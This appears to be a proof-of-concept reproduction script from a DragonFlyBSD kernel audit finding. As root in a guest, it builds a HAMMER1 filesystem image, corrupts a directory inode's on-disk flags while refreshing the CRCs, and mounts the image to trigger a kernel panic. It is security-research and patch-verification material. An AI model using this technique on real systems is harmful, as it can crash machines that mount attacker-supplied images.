DragonFlyBSD Kernel Audit
DF-0838 / run.sh
← back to finding ↓ download raw
#!/bin/sh
# DF-0838 reproduction driver — runs end-to-end as root inside the guest.
# Builds the patcher, creates a HAMMER1 v6 image, populates it, corrupts the
# directory-inode cap_flags on disk (and refreshes both per-leaf data_crc and
# the parent B-Tree node CRC), then mounts the malicious image and triggers
# the panic via a filename lookup.
#
# On the UNPATCHED kernel the final `ls` panics:
#     panic: hammer_direntry_namekey: bad algorithm ...
# On the PATCHED kernel (with fix.diff) it returns the file and logs a warning.
set -eu

IMAGE=/root/df0838.img
MNT=/mnt/df0838

cleanup() {
    umount "$MNT" 2>/dev/null || true
    for vn in $(vnconfig -l 2>/dev/null | awk '/df0838/ {print $1}'); do
        vnconfig -u "$vn" 2>/dev/null || true
    done
}
trap cleanup EXIT

mkdir -p /root/df0838
cd "$(dirname "$0")"
cc -O2 -Wall -o /root/df0838/image_patcher image_patcher.c -lz

rm -f "$IMAGE"
truncate -s 2G "$IMAGE"

VN=$(vnconfig vn "$IMAGE" | tail -1)
echo "configured $VN"
newfs_hammer -L df0838 -V 6 -f "/dev/$VN" >/tmp/df0838_newfs.log 2>&1

mkdir -p "$MNT"
mount_hammer "/dev/$VN" "$MNT"
mkdir "$MNT/testdir"
echo hello > "$MNT/testdir/file1"
echo hello > "$MNT/testdir/file2"
umount "$MNT"
vnconfig -u "$VN"

# Corrupt the directory inode(s) on disk and refresh CRCs.
/root/df0838/image_patcher "$IMAGE"

# Re-attach and mount the malicious image.
VN=$(vnconfig vn "$IMAGE" | tail -1)
echo "re-configured $VN"
mount_hammer "/dev/$VN" "$MNT"
echo "mounted malicious image; triggering hammer_direntry_namekey() ..."
ls -la "$MNT/testdir/file1" || true
echo "if you see this on an unpatched kernel, the bug didn't fire"